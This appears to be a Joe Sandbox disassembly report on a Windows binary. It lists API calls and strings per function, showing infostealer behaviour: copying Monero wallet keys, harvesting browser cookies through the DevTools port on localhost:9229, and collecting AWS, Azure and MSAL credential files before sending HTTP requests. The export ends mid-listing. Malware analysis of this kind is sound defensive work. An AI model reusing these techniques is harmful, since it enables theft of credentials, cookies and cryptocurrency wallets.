Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNextlstrlen
String ID: Brave$Preferences$\Brave\Preferences
API String ID: 1349006732-1230934161
Opcode ID: 9ab99609b496bc7ea2af5a45d3cb32fbfb5a5b97bf1aa933858ba3bc3ccd518f
Instruction ID: bcabec0f57fc517e2290750cead6b43d8afeee365f5ea6736a3542c54f8e4553
Opcode Fuzzy Hash: 9ab99609b496bc7ea2af5a45d3cb32fbfb5a5b97bf1aa933858ba3bc3ccd518f
Instruction Fuzzy Hash: 5E627F71A012158FCB24DF6AC944A5AB7B5AF44314F1884BEE809BB3E1DB79EC41CF94

Function 00416586 Relevance: 52.9, APIs: 29, Strings: 1, Instructions: 429
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004165A5
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004165E0
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041660A
lstrcpy.KERNEL32(00000000,00000000), ref: 00416641
lstrcpy.KERNEL32(00000000,00000000), ref: 00416666
lstrcatA.KERNEL32(00000000,00000000), ref: 0041666E
lstrcpy.KERNEL32(00000000,00000000), ref: 00416697

Strings

\..\, xrefs: 00416781, 004167AC

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FolderPathlstrcat
String ID: \..\
API String ID: 2938889746-4220915743
Opcode ID: aaa78c1325ba43cfb4c0d256264b1722f56e1fa2abc68e9813415c00adc123c9
Instruction ID: 7b2b331691887d521d88707558addf4a10eddde002b6c3b2871465dd13966880
Opcode Fuzzy Hash: aaa78c1325ba43cfb4c0d256264b1722f56e1fa2abc68e9813415c00adc123c9
Instruction Fuzzy Hash: 8EF1AC70A112069BCB21AF79D989AAF77B5AF04304F05402AF815A73E1DB7CDC85CF98

Function 00401190 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 278
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004011AA

Part of subcall function 00401120: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00401135
Part of subcall function 00401120: HeapAlloc.KERNEL32(00000000), ref: 0040113C
Part of subcall function 00401120: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00401159
Part of subcall function 00401120: RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401173
Part of subcall function 00401120: RegCloseKey.ADVAPI32(?), ref: 0040117D

lstrcatA.KERNEL32(?,00000000), ref: 004011C0
lstrlenA.KERNEL32(?), ref: 004011CD
lstrcatA.KERNEL32(?,.keys), ref: 004011E8
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040121F
lstrlenA.KERNEL32(02F64D98), ref: 0040122D
lstrcpy.KERNEL32(00000000,?), ref: 00401251
lstrcatA.KERNEL32(00000000,02F64D98), ref: 00401259
lstrlenA.KERNEL32(\Monero\wallet.keys), ref: 00401264
lstrcpy.KERNEL32(00000000,00000000), ref: 00401288
lstrcatA.KERNEL32(00000000,\Monero\wallet.keys), ref: 00401294
lstrcpy.KERNEL32(00000000,00000000), ref: 004012BA
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004012FF
lstrlenA.KERNEL32(02F65C40), ref: 0040130E
lstrcpy.KERNEL32(00000000,?), ref: 00401335
lstrcatA.KERNEL32(00000000,?), ref: 0040133D
lstrcpy.KERNEL32(00000000,00000000), ref: 00401378
lstrcatA.KERNEL32(00000000), ref: 00401385
lstrcpy.KERNEL32(00000000,00000000), ref: 004013AC
CopyFileA.KERNEL32(?,?,00000001), ref: 004013D5
lstrcpy.KERNEL32(00000000,?), ref: 00401401
lstrcpy.KERNEL32(00000000,?), ref: 0040143D

Part of subcall function 0041EFC0: lstrcpy.KERNEL32(00000000,?), ref: 0041EFF2

DeleteFileA.KERNEL32(?), ref: 00401471
memset.MSVCRT ref: 0040148E

Strings

.keys, xrefs: 004011DC
\Monero\wallet.keys, xrefs: 0040125F, 0040128E

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeapmemset$AllocCloseCopyDeleteOpenProcessQueryValue
String ID: .keys$\Monero\wallet.keys
API String ID: 2734118222-3586502688
Opcode ID: 6d63074c8ac1885b7d30bd4882327b3e1fdbb2c68c3ac34ea2312e5475166c51
Instruction ID: 107083fb19e5d757d6b5f7c97fc85a8bb09bd95212823e3c222e070f8096506b
Opcode Fuzzy Hash: 6d63074c8ac1885b7d30bd4882327b3e1fdbb2c68c3ac34ea2312e5475166c51
Instruction Fuzzy Hash: A9A17F71B102069BCB21AB79DD89A9F77B9AF44304F04007AF905F72E1DB78DD058BA8

Function 00415900 Relevance: 45.5, APIs: 30, Instructions: 486
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415935
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00415964
lstrcpy.KERNEL32(00000000,00000000), ref: 00415995
lstrcpy.KERNEL32(00000000,00000000), ref: 004159BD
lstrcatA.KERNEL32(00000000,00000000), ref: 004159C8
lstrcpy.KERNEL32(00000000,00000000), ref: 004159F0
lstrcpy.KERNEL32(00000000,00000000), ref: 00415A28
lstrcatA.KERNEL32(00000000,00000000), ref: 00415A33
lstrcpy.KERNEL32(00000000,00000000), ref: 00415A58
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415A8E
lstrcpy.KERNEL32(00000000,00000000), ref: 00415AB6
lstrcatA.KERNEL32(00000000,00000000), ref: 00415AC1
lstrcpy.KERNEL32(00000000,00000000), ref: 00415AE8
lstrlenA.KERNEL32(0043179C), ref: 00415AFA
lstrcpy.KERNEL32(00000000,00000000), ref: 00415B19
lstrcatA.KERNEL32(00000000,0043179C), ref: 00415B25
lstrlenA.KERNEL32(02F65D90), ref: 00415B34
lstrcpy.KERNEL32(00000000,00000000), ref: 00415B57
lstrcatA.KERNEL32(00000000,00000000), ref: 00415B62
lstrcpy.KERNEL32(00000000,00000000), ref: 00415B8C
lstrcpy.KERNEL32(00000000,00000000), ref: 00415BB8
GetFileAttributesA.KERNEL32(00000000), ref: 00415BBF
lstrcpy.KERNEL32(00000000,?), ref: 00415C17
lstrcpy.KERNEL32(00000000,?), ref: 00415C8D
lstrcpy.KERNEL32(00000000,?), ref: 00415CB6
lstrcpy.KERNEL32(00000000,?), ref: 00415CE9
lstrcpy.KERNEL32(00000000,00000000), ref: 00415D15
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00415D4F
lstrcpy.KERNEL32(00000000,?), ref: 00415DAC
lstrcpy.KERNEL32(00000000,00000000), ref: 00415DD0

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFileFolderPath
String ID:
API String ID: 2428362635-0
Opcode ID: d64053f159d546222ac7277ccfa2fce4252fe3d37fbd7582f2a41410b99ad7f7
Instruction ID: ec9c45225b20980520d6f485632f03fc1695dcfcdb1b3fd09c2ab8f99a44f7af
Opcode Fuzzy Hash: d64053f159d546222ac7277ccfa2fce4252fe3d37fbd7582f2a41410b99ad7f7
Instruction Fuzzy Hash: 4002AF70A11605DBCB21EF69D989AEF7BB5AF84304F14412AF805A7390DB78DC85CBD8

Function 004092B0 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 365stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004090C0: InternetOpenA.WININET(Function_0002CFF4,00000001,00000000,00000000,00000000), ref: 004090DF
Part of subcall function 004090C0: InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 004090FC
Part of subcall function 004090C0: InternetCloseHandle.WININET(00000000), ref: 00409109
Part of subcall function 004090C0: strlen.MSVCRT ref: 00409125

strlen.MSVCRT ref: 004092E1
strlen.MSVCRT ref: 004092FA

Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FAF
Part of subcall function 00417F70: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00417FC9
Part of subcall function 00417F70: memchr.MSVCRT ref: 00417FE8

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 00408996

memset.MSVCRT ref: 00409341
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0040935C
lstrcatA.KERNEL32(?,00000000), ref: 00409372
strlen.MSVCRT ref: 00409399
strlen.MSVCRT ref: 004093E6
memcmp.MSVCRT(?,Function_0002CFF4,?), ref: 0040940B
memset.MSVCRT ref: 00409532
lstrcatA.KERNEL32(?,cookies), ref: 00409547
lstrcatA.KERNEL32(?,0043179C), ref: 00409559
lstrcatA.KERNEL32(?,?), ref: 0040956A
lstrcatA.KERNEL32(?,00434BA8), ref: 0040957C
lstrcatA.KERNEL32(?,?), ref: 0040958D
lstrcatA.KERNEL32(?,.txt), ref: 0040959F
lstrlenA.KERNEL32(?), ref: 004095B6
lstrlenA.KERNEL32(?), ref: 004095DB
lstrcpy.KERNEL32(00000000,?), ref: 00409614
memset.MSVCRT ref: 0040965C

Strings

ws://localhost:9229, xrefs: 00409350
/devtools, xrefs: 004092F5, 00409300
cookies, xrefs: 0040953B
.txt, xrefs: 00409593
localhost, xrefs: 004092CA, 004092E8

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$strlen$Internetmemset$Openlstrlenmemchrmemcmp$CloseHandleXinvalid_argumentlstrcpystd::_
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2819545660-3542011879
Opcode ID: 3b54287f18f7556ecab5b547d5c94e4b6beeb41524cb7d2b6415f9362ed408dc
Instruction ID: 09933a38c1ce25faf1bd6e7473378e14a1dba54b0f31a5ec9296f9110ca3415e
Opcode Fuzzy Hash: 3b54287f18f7556ecab5b547d5c94e4b6beeb41524cb7d2b6415f9362ed408dc
Instruction Fuzzy Hash: 77E11671E00218DBDF14DFA9D984ADEBBB5BF48304F10446AE509B7281DB78AE45CF98

Function 0041E900 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 199stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041E920
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0041E949
lstrcpy.KERNEL32(00000000,?), ref: 0041E97F
lstrcatA.KERNEL32(?,00000000), ref: 0041E98D
lstrcatA.KERNEL32(?,\.azure\), ref: 0041E9A6
memset.MSVCRT ref: 0041E9E5
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0041EA0D
lstrcpy.KERNEL32(00000000,?), ref: 0041EA3F
lstrcatA.KERNEL32(?,00000000), ref: 0041EA4D
lstrcatA.KERNEL32(?,\.aws\), ref: 0041EA66
memset.MSVCRT ref: 0041EAA5
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EAD1
lstrcpy.KERNEL32(00000000,?), ref: 0041EB00
lstrcatA.KERNEL32(?,00000000), ref: 0041EB0E
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 0041EB27
memset.MSVCRT ref: 0041EB66

Strings

\.IdentityService\, xrefs: 0041EB1B
Azure\.aws, xrefs: 0041EA7C
Azure\.IdentityService, xrefs: 0041EB3D
\.aws\, xrefs: 0041EA5A
*.*, xrefs: 0041E9C1, 0041EA81
Azure\.azure, xrefs: 0041E9BC
msal.cache, xrefs: 0041EB42
\.azure\, xrefs: 0041E99A

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$FolderPathlstrcpy
String ID: *.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4067350539-3645552435
Opcode ID: 04698bda37ce200e6f4f2bab5a39dec130808ddd580870ed42d3d79036b65085
Instruction ID: 0410e258256291fe97284e7432fb9fb07a99d6d2712f9a0e0a4343582a108fb6
Opcode Fuzzy Hash: 04698bda37ce200e6f4f2bab5a39dec130808ddd580870ed42d3d79036b65085
Instruction Fuzzy Hash: 9D710B71B40219ABD725EB64DC46FED7374AF48700F1404A9B619AB1C0DFF8AA848F9C

Function 00421E72 Relevance: 37.7, APIs: 25, Instructions: 165COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00421E82

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a449be89d4bc7607fc06028b0606cc9b1dd40c18b0a7405caed617f767686438
Instruction ID: 22ee3b3e945f9b03e2f87382e80b3a05f1f88f3e2bcb167b77d3244cf33fb170
Opcode Fuzzy Hash: a449be89d4bc7607fc06028b0606cc9b1dd40c18b0a7405caed617f767686438
Instruction Fuzzy Hash: 5751D930700326AFC710AB75EE4DB6F767AAF54745F41102AF905A32A1DFB89801CBA8

Function 004148C0 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 309stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 004148F3
LocalAlloc.KERNEL32(00000040,?), ref: 00414925
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414972
lstrlenA.KERNEL32(00434B70), ref: 0041497D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041499A
lstrcatA.KERNEL32(00000000,00434B70), ref: 004149A6
lstrcpy.KERNEL32(00000000,00000000), ref: 004149CB
lstrcpy.KERNEL32(00000000,00000000), ref: 004149F8
lstrcatA.KERNEL32(00000000,00000000), ref: 00414A03
lstrcpy.KERNEL32(00000000,00000000), ref: 00414A2A
StrStrA.SHLWAPI(?,00000000), ref: 00414A3C
lstrlenA.KERNEL32(?), ref: 00414A50
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414A91
lstrcpy.KERNEL32(00000000,?), ref: 00414B18
lstrcpy.KERNEL32(00000000,?), ref: 00414B41
lstrcpy.KERNEL32(00000000,?), ref: 00414B6A
lstrcpy.KERNEL32(00000000,?), ref: 00414B90
lstrcpy.KERNEL32(00000000,?), ref: 00414BBD

Strings

moz-extension+++, xrefs: 00414A97
^userContextId=4294967295, xrefs: 00414AB4

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen$AllocLocal
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 4107348322-3310892237
Opcode ID: 92482658364b74cc689f74dccd33d35d720767ef39247a80ccb5cc4ada0ea0aa
Instruction ID: dcbc98935b0794d9f2508c0fb99686f48e521b1f201b401bee0c2a9c8473f97d
Opcode Fuzzy Hash: 92482658364b74cc689f74dccd33d35d720767ef39247a80ccb5cc4ada0ea0aa
Instruction Fuzzy Hash: 2CB1C171B112069BCB21EF79D989AAF77B5AF84304F05003AF845A7391DF78EC458B98

Function 00406C40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 229networkstringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00406C6F
lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00406CC2
InternetOpenA.WININET(0042CFF4,00000001,00000000,00000000,00000000), ref: 00406CD5
StrCmpCA.SHLWAPI(?,02F64E08), ref: 00406CED
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406D15
HttpOpenRequestA.WININET(00000000,GET,?,02F66348,00000000,00000000,-00400100,00000000), ref: 00406D50
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406D77
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406D86
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406DA5
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00406DFF
lstrcpy.KERNEL32(00000000,?), ref: 00406E5B
InternetReadFile.WININET(?,00000000,000007CF,?), ref: 00406E7D
InternetCloseHandle.WININET(00000000), ref: 00406E8E
InternetCloseHandle.WININET(?), ref: 00406E98
InternetCloseHandle.WININET(00000000), ref: 00406EA2
lstrcpy.KERNEL32(00000000,00000000), ref: 00406EC3

Strings

GET, xrefs: 00406D4A
ERROR, xrefs: 00406DB2

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$FileOpenReadRequest$ConnectInfoOptionQuerySend
String ID: ERROR$GET
API String ID: 3687753495-3591763792
Opcode ID: 6cdcc5e4382b7428e4ea12c0cd2001ae205a9e13ee3bbbfba6276689a6134b94
Instruction ID: 26d7143455ffd4ee46f40508c1b7674a6a86d989793e54e86eb8fd76458f3b45
Opcode Fuzzy Hash: 6cdcc5e4382b7428e4ea12c0cd2001ae205a9e13ee3bbbfba6276689a6134b94
Instruction Fuzzy Hash: 07816F71B01315ABEB20DFA4DC89BAF77B5AF44700F154069F905B72C0DBB8AD058BA8

Function 0040B309 Relevance: 30.5, APIs: 20, Instructions: 451stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040B330
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B37E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B3A9
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B3B1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B3D9
lstrlenA.KERNEL32(00434C60), ref: 0040B450
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B474
lstrcatA.KERNEL32(00000000,00434C60), ref: 0040B480
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B4A9
lstrlenA.KERNEL32(00000000), ref: 0040B52D
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B557
lstrcatA.KERNEL32(00000000,00000000), ref: 0040B55F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B587
lstrlenA.KERNEL32(00434AE4), ref: 0040B5FE
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B622
lstrcatA.KERNEL32(00000000,00434AE4), ref: 0040B62E
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B65E
lstrlenA.KERNEL32(?), ref: 0040B767
lstrlenA.KERNEL32(?), ref: 0040B776
lstrcpy.KERNEL32(00000000,00000000), ref: 0040B79E

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 64a57c7e8159e7409ea1df339954f02e2ea12ec26b261181591b5c8bf4a47983
Instruction ID: d8e7e0d56f92ff6f4132e7b050090f72e2d04cac876bd0f8387f7732b4983177
Opcode Fuzzy Hash: 64a57c7e8159e7409ea1df339954f02e2ea12ec26b261181591b5c8bf4a47983
Instruction Fuzzy Hash: F9021D70A012059FCB25DF69D989A6AB7A1EF44308F18847EE405AB3E1D779DC42CFD8

Function 0041F4D8 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 391stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(02F5D678), ref: 0041F4F5
lstrcpy.KERNEL32(00000000,00420710), ref: 0041F583
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F5A7
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F65B
lstrcpy.KERNEL32(00000000,02F5D678), ref: 0041F69B
lstrcpy.KERNEL32(00000000,02F5E360), ref: 0041F6CA
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F77E
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041F7FC
lstrcpy.KERNEL32(00000000,?), ref: 0041F82C
lstrcpy.KERNEL32(00000000,?), ref: 0041F87A
StrCmpCA.SHLWAPI(?,ERROR), ref: 0041F8F8
lstrlenA.KERNEL32(02F64CC8), ref: 0041F926
lstrcpy.KERNEL32(00000000,02F64CC8), ref: 0041F951
lstrcpy.KERNEL32(00000000,00000000), ref: 0041F973
lstrcpy.KERNEL32(00000000,?), ref: 0041F9C4
StrCmpCA.SHLWAPI(?,ERROR), ref: 0041FC12
lstrlenA.KERNEL32(02F64D08), ref: 0041FC40
lstrcpy.KERNEL32(00000000,02F64D08), ref: 0041FC6B
lstrcpy.KERNEL32(00000000,00000000), ref: 0041FC8D
lstrcpy.KERNEL32(00000000,?), ref: 0041FCDE

Strings

ERROR, xrefs: 0041F8F2, 0041FC0C, 0041FF30

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ERROR
API String ID: 367037083-2861137601
Opcode ID: 4bf48c73da6fb6ceb8d527f65c7cd97d6992f795480ddfe7c0ed0a28129af540
Instruction ID: 898d75a5385f1f6b5783bd832ffa068f25798e73bd52cc6eaeedd46ccea7770e
Opcode Fuzzy Hash: 4bf48c73da6fb6ceb8d527f65c7cd97d6992f795480ddfe7c0ed0a28129af540
Instruction Fuzzy Hash: 84F13F70A012029FCB24DF69D944696B7E5BF44314B18817FD8099B3A2E779DC87CF98

Function 00423930 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 222registrystringCOMMON

Download Yara Rule

APIs

